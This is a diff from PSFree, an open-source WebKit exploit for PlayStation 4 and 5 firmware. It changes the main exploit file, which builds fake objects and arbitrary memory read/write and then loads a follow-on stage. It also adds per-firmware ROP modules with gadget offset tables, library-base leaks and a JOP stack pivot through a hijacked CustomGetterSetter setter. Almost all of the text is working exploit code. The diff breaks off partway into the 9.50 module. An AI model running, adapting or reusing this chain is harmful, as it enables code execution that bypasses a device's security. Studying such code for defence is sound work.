// TODO assumes ps4, support ps5 as well
|
||||
// FIXME define the from/of workaround functions once
|
||||
// TODO: Assumes PS4, support PS5 as well
|
||||
// FIXME: Define the from/of workaround functions once
|
||||
if (0x600 <= config.target && config.target < 0x1000) {
|
||||
res.from = function from(...args) {
|
||||
const base = this.__proto__;
|
||||
|
||||
@@ -33,10 +33,10 @@ along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
||||
// * Helped in figuring out the size of JSC::ArrayBufferContents and its
|
||||
// needed offsets on different firmwares (PS5).
|
||||
|
||||
import { Int } from '/module/int64.mjs';
|
||||
import { Memory } from '/module/mem.mjs';
|
||||
import { KB, MB } from '/module/offset.mjs';
|
||||
import { BufferView } from '/module/rw.mjs';
|
||||
import { Int } from './module/int64.mjs';
|
||||
import { Memory } from './module/mem.mjs';
|
||||
import { KB, MB } from './module/offset.mjs';
|
||||
import { BufferView } from './module/rw.mjs';
|
||||
|
||||
import {
|
||||
die,
|
||||
@@ -46,10 +46,10 @@ import {
|
||||
sleep,
|
||||
hex,
|
||||
align,
|
||||
} from '/module/utils.mjs';
|
||||
} from './module/utils.mjs';
|
||||
|
||||
import * as config from '/config.mjs';
|
||||
import * as off from '/module/offset.mjs';
|
||||
import * as config from './config.mjs';
|
||||
import * as off from './module/offset.mjs';
|
||||
|
||||
// check if we are running on a supported firmware version
|
||||
const [is_ps4, version] = (() => {
|
||||
@@ -72,18 +72,22 @@ const [is_ps4, version] = (() => {
|
||||
})();
|
||||
|
||||
const ssv_len = (() => {
|
||||
if (0x600 <= config.target && config.target < 0x650) {
|
||||
return 0x58;
|
||||
}
|
||||
|
||||
// PS4 9.xx and all supported PS5 versions
|
||||
if (config.target >= 0x900) {
|
||||
// All supported PS5 versions
|
||||
if (!is_ps4) {
|
||||
return 0x50;
|
||||
}
|
||||
|
||||
if (0x650 <= config.target && config.target < 0x900) {
|
||||
// PS4
|
||||
if (0x600 <= version && version < 0x650) {
|
||||
return 0x58;
|
||||
}
|
||||
if (0x650 <= version && version < 0x900) {
|
||||
return 0x48;
|
||||
}
|
||||
if (0x900 <= version) {
|
||||
return 0x50;
|
||||
}
|
||||
throw new RangeError(`unsupported console/firmware: ps${is_ps4 ? '4' : '5'}, version: ${hex(version)}`);
|
||||
})();
|
||||
|
||||
// these constants are expected to be divisible by 2
|
||||
@@ -454,7 +458,7 @@ async function make_rdr(view) {
|
||||
log(`view's buffer address: ${addr}`);
|
||||
return new Reader(rstr, view);
|
||||
}
|
||||
die("JSString wasn't modified");
|
||||
die('JSString wasn\'t modified');
|
||||
}
|
||||
|
||||
// we will create a JSC::CodeBlock whose m_constantRegisters is set to an array
|
||||
@@ -856,7 +860,6 @@ async function main() {
|
||||
await make_arw(rdr, view2, pop);
|
||||
|
||||
clear_log();
|
||||
// path to your script that will use the exploit
|
||||
import('./code.mjs');
|
||||
import('./lapse.mjs');
|
||||
}
|
||||
main();
|
||||
|
||||
@@ -15,18 +15,20 @@ GNU Affero General Public License for more details.
|
||||
You should have received a copy of the GNU Affero General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
||||
|
||||
import { mem } from '/module/mem.mjs';
|
||||
import { KB } from '/module/offset.mjs';
|
||||
import { ChainBase, get_gadget } from '/module/chain.mjs';
|
||||
import { BufferView } from '/module/rw.mjs';
|
||||
// 8.00, 8.01, 8.03
|
||||
|
||||
import { mem } from '../../module/mem.mjs';
|
||||
import { KB } from '../../module/offset.mjs';
|
||||
import { ChainBase, get_gadget } from '../../module/chain.mjs';
|
||||
import { BufferView } from '../../module/rw.mjs';
|
||||
|
||||
import {
|
||||
get_view_vector,
|
||||
resolve_import,
|
||||
init_syscall_array,
|
||||
} from '/module/memtools.mjs';
|
||||
} from '../../module/memtools.mjs';
|
||||
|
||||
import * as off from '/module/offset.mjs';
|
||||
import * as off from '../../module/offset.mjs';
|
||||
|
||||
// WebKit offsets of imported functions
|
||||
const offset_wk_stack_chk_fail = 0x8d8;
|
||||
@@ -82,39 +84,39 @@ const jop5 = 'pop rsp; ret';
|
||||
// pop rbp
|
||||
|
||||
const webkit_gadget_offsets = new Map(Object.entries({
|
||||
'pop rax; ret' : 0x0000000000035a1b,
|
||||
'pop rbx; ret' : 0x000000000001537c,
|
||||
'pop rcx; ret' : 0x0000000000025ecb,
|
||||
'pop rdx; ret' : 0x0000000000060f52,
|
||||
'pop rax; ret' : 0x0000000000035a1b, // `58 c3`
|
||||
'pop rbx; ret' : 0x000000000001537c, // `5b c3`
|
||||
'pop rcx; ret' : 0x0000000000025ecb, // `59 c3`
|
||||
'pop rdx; ret' : 0x0000000000060f52, // `5a c3`
|
||||
|
||||
'pop rbp; ret' : 0x00000000000000b6,
|
||||
'pop rsi; ret' : 0x000000000003bd77,
|
||||
'pop rdi; ret' : 0x00000000001e3f87,
|
||||
'pop rsp; ret' : 0x00000000000bf669,
|
||||
'pop rbp; ret' : 0x00000000000000b6, // `5d c3`
|
||||
'pop rsi; ret' : 0x000000000003bd77, // `5e c3`
|
||||
'pop rdi; ret' : 0x00000000001e3f87, // `5f c3`
|
||||
'pop rsp; ret' : 0x00000000000bf669, // `5c c3`
|
||||
|
||||
'pop r8; ret' : 0x0000000000097442,
|
||||
'pop r9; ret' : 0x00000000006f501f,
|
||||
'pop r10; ret' : 0x0000000000060f51,
|
||||
'pop r11; ret' : 0x0000000000d2a629,
|
||||
'pop r8; ret' : 0x00000000005ee860, // `41 58 c3`
|
||||
'pop r9; ret' : 0x00000000006f501f, // `47 59 c3`
|
||||
'pop r10; ret' : 0x0000000000060f51, // `47 5a c3`
|
||||
'pop r11; ret' : 0x00000000013cad93, // `41 5b c3`
|
||||
|
||||
'pop r12; ret' : 0x0000000000d8968d,
|
||||
'pop r13; ret' : 0x00000000016ccff1,
|
||||
'pop r14; ret' : 0x000000000003bd76,
|
||||
'pop r15; ret' : 0x00000000002499df,
|
||||
'pop r12; ret' : 0x0000000000d8968d, // `41 5c c3`
|
||||
'pop r13; ret' : 0x00000000019a0edb, // `41 5d c3`
|
||||
'pop r14; ret' : 0x000000000003bd76, // `41 5e c3`
|
||||
'pop r15; ret' : 0x00000000002499df, // `41 5f c3`
|
||||
|
||||
'ret' : 0x0000000000000032,
|
||||
'leave; ret' : 0x0000000000291fd7,
|
||||
'ret' : 0x0000000000000032, // `c3`
|
||||
'leave; ret' : 0x0000000000291fd7, // `c9 c3`
|
||||
|
||||
'mov rax, qword ptr [rax]; ret' : 0x000000000002dc62,
|
||||
'mov qword ptr [rdi], rax; ret' : 0x000000000005b1bb,
|
||||
'mov dword ptr [rdi], eax; ret' : 0x000000000001f864,
|
||||
'mov dword ptr [rax], esi; ret' : 0x00000000002915bc,
|
||||
'mov rax, qword ptr [rax]; ret' : 0x000000000002dc62, // `48 8b 00 c3`
|
||||
'mov qword ptr [rdi], rax; ret' : 0x000000000005b1bb, // `48 89 07 c3`
|
||||
'mov dword ptr [rdi], eax; ret' : 0x000000000001f864, // `89 07 c3`
|
||||
'mov dword ptr [rax], esi; ret' : 0x00000000002915bc, // `89 30 c3`
|
||||
|
||||
[jop1] : 0x0000000001988320,
|
||||
[jop2] : 0x000000000076b970,
|
||||
[jop3] : 0x0000000000f62f95,
|
||||
[jop4] : 0x00000000021af6ad,
|
||||
[jop5] : 0x00000000000bf669,
|
||||
[jop1] : 0x0000000001988320, // `48 8b 7e 08 48 8b 07 ff 60 70`
|
||||
[jop2] : 0x000000000076b970, // `55 48 89 e5 48 8b 07 ff 50 30`
|
||||
[jop3] : 0x0000000000f62f95, // `48 8b 52 50 b9 0a 00 00 00 ff 50 40`
|
||||
[jop4] : 0x00000000021af6ad, // `52 bf fe 84 97 ac ff 20`
|
||||
[jop5] : 0x00000000000bf669, // `5c c3`
|
||||
}));
|
||||
|
||||
const libc_gadget_offsets = new Map(Object.entries({
|
||||
261
src/rop/ps4/850.mjs
Normal file
261
src/rop/ps4/850.mjs
Normal file
@@ -0,0 +1,261 @@
|
||||
/* Copyright (C) 2023-2025 anonymous
|
||||
|
||||
This file is part of PSFree.
|
||||
|
||||
PSFree is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU Affero General Public License as
|
||||
published by the Free Software Foundation, either version 3 of the
|
||||
License, or (at your option) any later version.
|
||||
|
||||
PSFree is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU Affero General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU Affero General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
||||
|
||||
// 8.50, 8.52
|
||||
|
||||
import { mem } from '../../module/mem.mjs';
|
||||
import { KB } from '../../module/offset.mjs';
|
||||
import { ChainBase, get_gadget } from '../../module/chain.mjs';
|
||||
import { BufferView } from '../../module/rw.mjs';
|
||||
|
||||
import {
|
||||
get_view_vector,
|
||||
resolve_import,
|
||||
init_syscall_array,
|
||||
} from '../../module/memtools.mjs';
|
||||
|
||||
import * as off from '../../module/offset.mjs';
|
||||
|
||||
// WebKit offsets of imported functions
|
||||
const offset_wk_stack_chk_fail = 0x8d8;
|
||||
const offset_wk_strlen = 0x918;
|
||||
|
||||
// libSceNKWebKit.sprx
|
||||
export let libwebkit_base = null;
|
||||
// libkernel_web.sprx
|
||||
export let libkernel_base = null;
|
||||
// libSceLibcInternal.sprx
|
||||
export let libc_base = null;
|
||||
|
||||
// TODO: gadgets for the JOP chain
|
||||
//
|
||||
// we'll use JSC::CustomGetterSetter.m_setter to redirect execution. its
|
||||
// type is PutPropertySlot::PutValueFunc
|
||||
const jop1 = `
|
||||
mov rdi, qword ptr [rsi + 8]
|
||||
mov rax, qword ptr [rdi]
|
||||
jmp qword ptr [rax + 0x70]
|
||||
`;
|
||||
// rbp is now pushed, any extra objects pushed by the call instructions can be
|
||||
// ignored
|
||||
const jop2 = `
|
||||
push rbp
|
||||
mov rbp, rsp
|
||||
mov rax, qword ptr [rdi]
|
||||
call qword ptr [rax + 0x30]
|
||||
`;
|
||||
const jop3 = `
|
||||
mov rdx, qword ptr [rdx + 0x50]
|
||||
mov ecx, 0xa
|
||||
call qword ptr [rax + 0x40]
|
||||
`;
|
||||
const jop4 = `
|
||||
push rdx
|
||||
mov edi, 0xac9784fe
|
||||
jmp qword ptr [rax]
|
||||
`;
|
||||
const jop5 = 'pop rsp; ret';
|
||||
|
||||
// the ps4 firmware is compiled to use rbp as a frame pointer
|
||||
//
|
||||
// The JOP chain pushed rbp and moved rsp to rbp before the pivot. The chain
|
||||
// must save rbp (rsp before the pivot) somewhere if it uses it. The chain must
|
||||
// restore rbp (if needed) before the epilogue.
|
||||
//
|
||||
// The epilogue will move rbp to rsp (restore old rsp) and pop rbp (which we
|
||||
// pushed earlier before the pivot, thus restoring the old rbp).
|
||||
//
|
||||
// leave instruction equivalent:
|
||||
// mov rsp, rbp
|
||||
// pop rbp
|
||||
|
||||
const webkit_gadget_offsets = new Map(Object.entries({
|
||||
'pop rax; ret' : 0x000000000001ac7b, // `58 c3`
|
||||
'pop rbx; ret' : 0x000000000000c46d, // `5b c3`
|
||||
'pop rcx; ret' : 0x000000000001ac5f, // `59 c3`
|
||||
'pop rdx; ret' : 0x0000000000282ea2, // `5a c3`
|
||||
|
||||
'pop rbp; ret' : 0x00000000000000b6, // `5d c3`
|
||||
'pop rsi; ret' : 0x0000000000050878, // `5e c3`
|
||||
'pop rdi; ret' : 0x0000000000091afa, // `5f c3`
|
||||
'pop rsp; ret' : 0x0000000000073c2b, // `5c c3`
|
||||
|
||||
'pop r8; ret' : 0x000000000003b4b3, // `47 58 c3`
|
||||
'pop r9; ret' : 0x00000000010f372f, // `47 59 c3`
|
||||
'pop r10; ret' : 0x0000000000b1a721, // `47 5a c3`
|
||||
'pop r11; ret' : 0x0000000000eaba69, // `4f 5b c3`
|
||||
|
||||
'pop r12; ret' : 0x0000000000eaf80d, // `47 5c c3`
|
||||
'pop r13; ret' : 0x00000000019a0d8b, // `41 5d c3`
|
||||
'pop r14; ret' : 0x0000000000050877, // `41 5e c3`
|
||||
'pop r15; ret' : 0x00000000007e2efd, // `47 5f c3`
|
||||
|
||||
'ret' : 0x0000000000000032, // `c3`
|
||||
'leave; ret' : 0x000000000001ba53, // `c9 c3`
|
||||
|
||||
'mov rax, qword ptr [rax]; ret' : 0x000000000003734c, // `48 8b 00 c3`
|
||||
'mov qword ptr [rdi], rax; ret' : 0x000000000001433b, // `48 89 07 c3`
|
||||
'mov dword ptr [rdi], eax; ret' : 0x0000000000008e7f, // `89 07 c3`
|
||||
'mov dword ptr [rax], esi; ret' : 0x0000000000cf6c22, // `89 30 c3`
|
||||
|
||||
[jop1] : 0x0000000000000000, // ``
|
||||
[jop2] : 0x0000000000000000, // ``
|
||||
[jop3] : 0x0000000000000000, // ``
|
||||
[jop4] : 0x0000000000000000, // ``
|
||||
[jop5] : 0x0000000000000000, // ``
|
||||
}));
|
||||
|
||||
const libc_gadget_offsets = new Map(Object.entries({
|
||||
'getcontext' : 0x25904,
|
||||
'setcontext' : 0x29c38,
|
||||
}));
|
||||
|
||||
const libkernel_gadget_offsets = new Map(Object.entries({
|
||||
// returns the location of errno
|
||||
'__error' : 0x10750,
|
||||
}));
|
||||
|
||||
export const gadgets = new Map();
|
||||
|
||||
function get_bases() {
|
||||
const textarea = document.createElement('textarea');
|
||||
const webcore_textarea = mem.addrof(textarea).readp(off.jsta_impl);
|
||||
const textarea_vtable = webcore_textarea.readp(0);
|
||||
const off_ta_vt = 0x236d4a0;
|
||||
const libwebkit_base = textarea_vtable.sub(off_ta_vt);
|
||||
|
||||
const stack_chk_fail_import = libwebkit_base.add(offset_wk_stack_chk_fail);
|
||||
const stack_chk_fail_addr = resolve_import(stack_chk_fail_import);
|
||||
const off_scf = 0x153c0;
|
||||
const libkernel_base = stack_chk_fail_addr.sub(off_scf);
|
||||
|
||||
const strlen_import = libwebkit_base.add(offset_wk_strlen);
|
||||
const strlen_addr = resolve_import(strlen_import);
|
||||
const off_strlen = 0x4ef40;
|
||||
const libc_base = strlen_addr.sub(off_strlen);
|
||||
|
||||
return [
|
||||
libwebkit_base,
|
||||
libkernel_base,
|
||||
libc_base,
|
||||
];
|
||||
}
|
||||
|
||||
export function init_gadget_map(gadget_map, offset_map, base_addr) {
|
||||
for (const [insn, offset] of offset_map) {
|
||||
gadget_map.set(insn, base_addr.add(offset));
|
||||
}
|
||||
}
|
||||
|
||||
class Chain850Base extends ChainBase {
|
||||
push_end() {
|
||||
this.push_gadget('leave; ret');
|
||||
}
|
||||
|
||||
push_get_retval() {
|
||||
this.push_gadget('pop rdi; ret');
|
||||
this.push_value(this.retval_addr);
|
||||
this.push_gadget('mov qword ptr [rdi], rax; ret');
|
||||
}
|
||||
|
||||
push_get_errno() {
|
||||
this.push_gadget('pop rdi; ret');
|
||||
this.push_value(this.errno_addr);
|
||||
|
||||
this.push_call(this.get_gadget('__error'));
|
||||
|
||||
this.push_gadget('mov rax, qword ptr [rax]; ret');
|
||||
this.push_gadget('mov dword ptr [rdi], eax; ret');
|
||||
}
|
||||
|
||||
push_clear_errno() {
|
||||
this.push_call(this.get_gadget('__error'));
|
||||
this.push_gadget('pop rsi; ret');
|
||||
this.push_value(0);
|
||||
this.push_gadget('mov dword ptr [rax], esi; ret');
|
||||
}
|
||||
}
|
||||
|
||||
export class Chain850 extends Chain850Base {
|
||||
constructor() {
|
||||
super();
|
||||
const [rdx, rdx_bak] = mem.gc_alloc(0x58);
|
||||
rdx.write64(off.js_cell, this._empty_cell);
|
||||
rdx.write64(0x50, this.stack_addr);
|
||||
this._rsp = mem.fakeobj(rdx);
|
||||
}
|
||||
|
||||
run() {
|
||||
this.check_allow_run();
|
||||
this._rop.launch = this._rsp;
|
||||
this.dirty();
|
||||
}
|
||||
}
|
||||
|
||||
export const Chain = Chain850;
|
||||
|
||||
export function init(Chain) {
|
||||
const syscall_array = [];
|
||||
[libwebkit_base, libkernel_base, libc_base] = get_bases();
|
||||
|
||||
init_gadget_map(gadgets, webkit_gadget_offsets, libwebkit_base);
|
||||
init_gadget_map(gadgets, libc_gadget_offsets, libc_base);
|
||||
init_gadget_map(gadgets, libkernel_gadget_offsets, libkernel_base);
|
||||
init_syscall_array(syscall_array, libkernel_base, 300 * KB);
|
||||
|
||||
let gs = Object.getOwnPropertyDescriptor(window, 'location').set;
|
||||
// JSCustomGetterSetter.m_getterSetter
|
||||
gs = mem.addrof(gs).readp(0x28);
|
||||
|
||||
// sizeof JSC::CustomGetterSetter
|
||||
const size_cgs = 0x18;
|
||||
const [gc_buf, gc_back] = mem.gc_alloc(size_cgs);
|
||||
mem.cpy(gc_buf, gs, size_cgs);
|
||||
// JSC::CustomGetterSetter.m_setter
|
||||
gc_buf.write64(0x10, get_gadget(gadgets, jop1));
|
||||
|
||||
const proto = Chain.prototype;
|
||||
// _rop must have a descriptor initially in order for the structure to pass
|
||||
// setHasReadOnlyOrGetterSetterPropertiesExcludingProto() thus forcing a
|
||||
// call to JSObject::putInlineSlow(). putInlineSlow() is the code path that
|
||||
// checks for any descriptor to run
|
||||
//
|
||||
// the butterfly's indexing type must be something the GC won't inspect
|
||||
// like DoubleShape. it will be used to store the JOP table's pointer
|
||||
const _rop = {get launch() {throw Error('never call')}, 0: 1.1};
|
||||
// replace .launch with the actual custom getter/setter
|
||||
mem.addrof(_rop).write64(off.js_inline_prop, gc_buf);
|
||||
proto._rop = _rop;
|
||||
|
||||
// JOP table
|
||||
const rax_ptrs = new BufferView(0x100);
|
||||
const rax_ptrs_p = get_view_vector(rax_ptrs);
|
||||
proto._rax_ptrs = rax_ptrs;
|
||||
|
||||
rax_ptrs.write64(0x70, get_gadget(gadgets, jop2));
|
||||
rax_ptrs.write64(0x30, get_gadget(gadgets, jop3));
|
||||
rax_ptrs.write64(0x40, get_gadget(gadgets, jop4));
|
||||
rax_ptrs.write64(0, get_gadget(gadgets, jop5));
|
||||
|
||||
const jop_buffer_p = mem.addrof(_rop).readp(off.js_butterfly);
|
||||
jop_buffer_p.write64(0, rax_ptrs_p);
|
||||
|
||||
const empty = {};
|
||||
proto._empty_cell = mem.addrof(empty).read64(off.js_cell);
|
||||
|
||||
Chain.init_class(gadgets, syscall_array);
|
||||
}
|
||||
261
src/rop/ps4/900.mjs
Normal file
261
src/rop/ps4/900.mjs
Normal file
@@ -0,0 +1,261 @@
|
||||
/* Copyright (C) 2023-2025 anonymous
|
||||
|
||||
This file is part of PSFree.
|
||||
|
||||
PSFree is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU Affero General Public License as
|
||||
published by the Free Software Foundation, either version 3 of the
|
||||
License, or (at your option) any later version.
|
||||
|
||||
PSFree is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU Affero General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU Affero General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
||||
|
||||
// 9.00, 9.03, 9.04
|
||||
|
||||
import { mem } from '../../module/mem.mjs';
|
||||
import { KB } from '../../module/offset.mjs';
|
||||
import { ChainBase, get_gadget } from '../../module/chain.mjs';
|
||||
import { BufferView } from '../../module/rw.mjs';
|
||||
|
||||
import {
|
||||
get_view_vector,
|
||||
resolve_import,
|
||||
init_syscall_array,
|
||||
} from '../../module/memtools.mjs';
|
||||
|
||||
import * as off from '../../module/offset.mjs';
|
||||
|
||||
// WebKit offsets of imported functions
|
||||
const offset_wk_stack_chk_fail = 0x178;
|
||||
const offset_wk_strlen = 0x198;
|
||||
|
||||
// libSceNKWebKit.sprx
|
||||
export let libwebkit_base = null;
|
||||
// libkernel_web.sprx
|
||||
export let libkernel_base = null;
|
||||
// libSceLibcInternal.sprx
|
||||
export let libc_base = null;
|
||||
|
||||
// TODO: gadgets for the JOP chain
|
||||
//
|
||||
// we'll use JSC::CustomGetterSetter.m_setter to redirect execution. its
|
||||
// type is PutPropertySlot::PutValueFunc
|
||||
const jop1 = `
|
||||
mov rdi, qword ptr [rsi + 8]
|
||||
mov rax, qword ptr [rdi]
|
||||
jmp qword ptr [rax + 0x70]
|
||||
`;
|
||||
// rbp is now pushed, any extra objects pushed by the call instructions can be
|
||||
// ignored
|
||||
const jop2 = `
|
||||
push rbp
|
||||
mov rbp, rsp
|
||||
mov rax, qword ptr [rdi]
|
||||
call qword ptr [rax + 0x30]
|
||||
`;
|
||||
const jop3 = `
|
||||
mov rdx, qword ptr [rdx + 0x50]
|
||||
mov ecx, 0xa
|
||||
call qword ptr [rax + 0x40]
|
||||
`;
|
||||
const jop4 = `
|
||||
push rdx
|
||||
mov edi, 0xac9784fe
|
||||
jmp qword ptr [rax]
|
||||
`;
|
||||
const jop5 = 'pop rsp; ret';
|
||||
|
||||
// the ps4 firmware is compiled to use rbp as a frame pointer
|
||||
//
|
||||
// The JOP chain pushed rbp and moved rsp to rbp before the pivot. The chain
|
||||
// must save rbp (rsp before the pivot) somewhere if it uses it. The chain must
|
||||
// restore rbp (if needed) before the epilogue.
|
||||
//
|
||||
// The epilogue will move rbp to rsp (restore old rsp) and pop rbp (which we
|
||||
// pushed earlier before the pivot, thus restoring the old rbp).
|
||||
//
|
||||
// leave instruction equivalent:
|
||||
// mov rsp, rbp
|
||||
// pop rbp
|
||||
|
||||
const webkit_gadget_offsets = new Map(Object.entries({
|
||||
'pop rax; ret' : 0x0000000000051a12, // `58 c3`
|
||||
'pop rbx; ret' : 0x00000000000be5d0, // `5b c3`
|
||||
'pop rcx; ret' : 0x00000000000657b7, // `59 c3`
|
||||
'pop rdx; ret' : 0x000000000000986c, // `5a c3`
|
||||
|
||||
'pop rbp; ret' : 0x00000000000000b6, // `5d c3`
|
||||
'pop rsi; ret' : 0x000000000001f4d6, // `5e c3`
|
||||
'pop rdi; ret' : 0x0000000000319690, // `5f c3`
|
||||
'pop rsp; ret' : 0x000000000004e293, // `5c c3`
|
||||
|
||||
'pop r8; ret' : 0x00000000001a7ef1, // `47 58 c3`
|
||||
'pop r9; ret' : 0x0000000000422571, // `47 59 c3`
|
||||
'pop r10; ret' : 0x0000000000e9e1d1, // `47 5a c3`
|
||||
'pop r11; ret' : 0x00000000012b1d51, // `47 5b c3`
|
||||
|
||||
'pop r12; ret' : 0x000000000085ec71, // `47 5c c3`
|
||||
'pop r13; ret' : 0x00000000001da461, // `47 5d c3`
|
||||
'pop r14; ret' : 0x0000000000685d73, // `47 5e c3`
|
||||
'pop r15; ret' : 0x00000000006ab3aa, // `47 5f c3`
|
||||
|
||||
'ret' : 0x0000000000000032, // `c3`
|
||||
'leave; ret' : 0x000000000008db5b, // `c9 c3`
|
||||
|
||||
'mov rax, qword ptr [rax]; ret' : 0x00000000000241cc, // `48 8b 00 c3`
|
||||
'mov qword ptr [rdi], rax; ret' : 0x000000000000613b, // `48 89 07 c3`
|
||||
'mov dword ptr [rdi], eax; ret' : 0x000000000000613c, // `89 07 c3`
|
||||
'mov dword ptr [rax], esi; ret' : 0x00000000005c3482, // `89 30 c3`
|
||||
|
||||
[jop1] : 0x0000000000000000, // ``
|
||||
[jop2] : 0x0000000000000000, // ``
|
||||
[jop3] : 0x0000000000000000, // ``
|
||||
[jop4] : 0x0000000000000000, // ``
|
||||
[jop5] : 0x0000000000000000, // ``
|
||||
}));
|
||||
|
||||
const libc_gadget_offsets = new Map(Object.entries({
|
||||
'getcontext' : 0x24f04,
|
||||
'setcontext' : 0x29448,
|
||||
}));
|
||||
|
||||
const libkernel_gadget_offsets = new Map(Object.entries({
|
||||
// returns the location of errno
|
||||
'__error' : 0xCB80,
|
||||
}));
|
||||
|
||||
export const gadgets = new Map();
|
||||
|
||||
function get_bases() {
|
||||
const textarea = document.createElement('textarea');
|
||||
const webcore_textarea = mem.addrof(textarea).readp(off.jsta_impl);
|
||||
const textarea_vtable = webcore_textarea.readp(0);
|
||||
const off_ta_vt = 0x2e73c18;
|
||||
const libwebkit_base = textarea_vtable.sub(off_ta_vt);
|
||||
|
||||
const stack_chk_fail_import = libwebkit_base.add(offset_wk_stack_chk_fail);
|
||||
const stack_chk_fail_addr = resolve_import(stack_chk_fail_import);
|
||||
const off_scf = 0x1ff60;
|
||||
const libkernel_base = stack_chk_fail_addr.sub(off_scf);
|
||||
|
||||
const strlen_import = libwebkit_base.add(offset_wk_strlen);
|
||||
const strlen_addr = resolve_import(strlen_import);
|
||||
const off_strlen = 0x4fa40;
|
||||
const libc_base = strlen_addr.sub(off_strlen);
|
||||
|
||||
return [
|
||||
libwebkit_base,
|
||||
libkernel_base,
|
||||
libc_base,
|
||||
];
|
||||
}
|
||||
|
||||
export function init_gadget_map(gadget_map, offset_map, base_addr) {
|
||||
for (const [insn, offset] of offset_map) {
|
||||
gadget_map.set(insn, base_addr.add(offset));
|
||||
}
|
||||
}
|
||||
|
||||
class Chain900Base extends ChainBase {
|
||||
push_end() {
|
||||
this.push_gadget('leave; ret');
|
||||
}
|
||||
|
||||
push_get_retval() {
|
||||
this.push_gadget('pop rdi; ret');
|
||||
this.push_value(this.retval_addr);
|
||||
this.push_gadget('mov qword ptr [rdi], rax; ret');
|
||||
}
|
||||
|
||||
push_get_errno() {
|
||||
this.push_gadget('pop rdi; ret');
|
||||
this.push_value(this.errno_addr);
|
||||
|
||||
this.push_call(this.get_gadget('__error'));
|
||||
|
||||
this.push_gadget('mov rax, qword ptr [rax]; ret');
|
||||
this.push_gadget('mov dword ptr [rdi], eax; ret');
|
||||
}
|
||||
|
||||
push_clear_errno() {
|
||||
this.push_call(this.get_gadget('__error'));
|
||||
this.push_gadget('pop rsi; ret');
|
||||
this.push_value(0);
|
||||
this.push_gadget('mov dword ptr [rax], esi; ret');
|
||||
}
|
||||
}
|
||||
|
||||
export class Chain900 extends Chain900Base {
|
||||
constructor() {
|
||||
super();
|
||||
const [rdx, rdx_bak] = mem.gc_alloc(0x58);
|
||||
rdx.write64(off.js_cell, this._empty_cell);
|
||||
rdx.write64(0x50, this.stack_addr);
|
||||
this._rsp = mem.fakeobj(rdx);
|
||||
}
|
||||
|
||||
run() {
|
||||
this.check_allow_run();
|
||||
this._rop.launch = this._rsp;
|
||||
this.dirty();
|
||||
}
|
||||
}
|
||||
|
||||
export const Chain = Chain900;
|
||||
|
||||
export function init(Chain) {
|
||||
const syscall_array = [];
|
||||
[libwebkit_base, libkernel_base, libc_base] = get_bases();
|
||||
|
||||
init_gadget_map(gadgets, webkit_gadget_offsets, libwebkit_base);
|
||||
init_gadget_map(gadgets, libc_gadget_offsets, libc_base);
|
||||
init_gadget_map(gadgets, libkernel_gadget_offsets, libkernel_base);
|
||||
init_syscall_array(syscall_array, libkernel_base, 300 * KB);
|
||||
|
||||
let gs = Object.getOwnPropertyDescriptor(window, 'location').set;
|
||||
// JSCustomGetterSetter.m_getterSetter
|
||||
gs = mem.addrof(gs).readp(0x28);
|
||||
|
||||
// sizeof JSC::CustomGetterSetter
|
||||
const size_cgs = 0x18;
|
||||
const [gc_buf, gc_back] = mem.gc_alloc(size_cgs);
|
||||
mem.cpy(gc_buf, gs, size_cgs);
|
||||
// JSC::CustomGetterSetter.m_setter
|
||||
gc_buf.write64(0x10, get_gadget(gadgets, jop1));
|
||||
|
||||
const proto = Chain.prototype;
|
||||
// _rop must have a descriptor initially in order for the structure to pass
|
||||
// setHasReadOnlyOrGetterSetterPropertiesExcludingProto() thus forcing a
|
||||
// call to JSObject::putInlineSlow(). putInlineSlow() is the code path that
|
||||
// checks for any descriptor to run
|
||||
//
|
||||
// the butterfly's indexing type must be something the GC won't inspect
|
||||
// like DoubleShape. it will be used to store the JOP table's pointer
|
||||
const _rop = {get launch() {throw Error('never call')}, 0: 1.1};
|
||||
// replace .launch with the actual custom getter/setter
|
||||
mem.addrof(_rop).write64(off.js_inline_prop, gc_buf);
|
||||
proto._rop = _rop;
|
||||
|
||||
// JOP table
|
||||
const rax_ptrs = new BufferView(0x100);
|
||||
const rax_ptrs_p = get_view_vector(rax_ptrs);
|
||||
proto._rax_ptrs = rax_ptrs;
|
||||
|
||||
rax_ptrs.write64(0x70, get_gadget(gadgets, jop2));
|
||||
rax_ptrs.write64(0x30, get_gadget(gadgets, jop3));
|
||||
rax_ptrs.write64(0x40, get_gadget(gadgets, jop4));
|
||||
rax_ptrs.write64(0, get_gadget(gadgets, jop5));
|
||||
|
||||
const jop_buffer_p = mem.addrof(_rop).readp(off.js_butterfly);
|
||||
jop_buffer_p.write64(0, rax_ptrs_p);
|
||||
|
||||
const empty = {};
|
||||
proto._empty_cell = mem.addrof(empty).read64(off.js_cell);
|
||||
|
||||
Chain.init_class(gadgets, syscall_array);
|
||||
}
|
||||
262
src/rop/ps4/950.mjs
Normal file
262
src/rop/ps4/950.mjs
Normal file
@@ -0,0 +1,262 @@
|
||||
/* Copyright (C) 2023-2025 anonymous
|
||||
|
||||
This file is part of PSFree.
|
||||
|
||||
PSFree is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU Affero General Public License as
|
||||
published by the Free Software Foundation, either version 3 of the
|
||||
License, or (at your option) any later version.
|
||||
|
||||
PSFree is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU Affero General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU Affero General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
||||
|
||||
// 9.50, 9.51, 9.60
|
||||
|
||||
import { mem } from '../../module/mem.mjs';
|
||||
import { KB } from '../../module/offset.mjs';
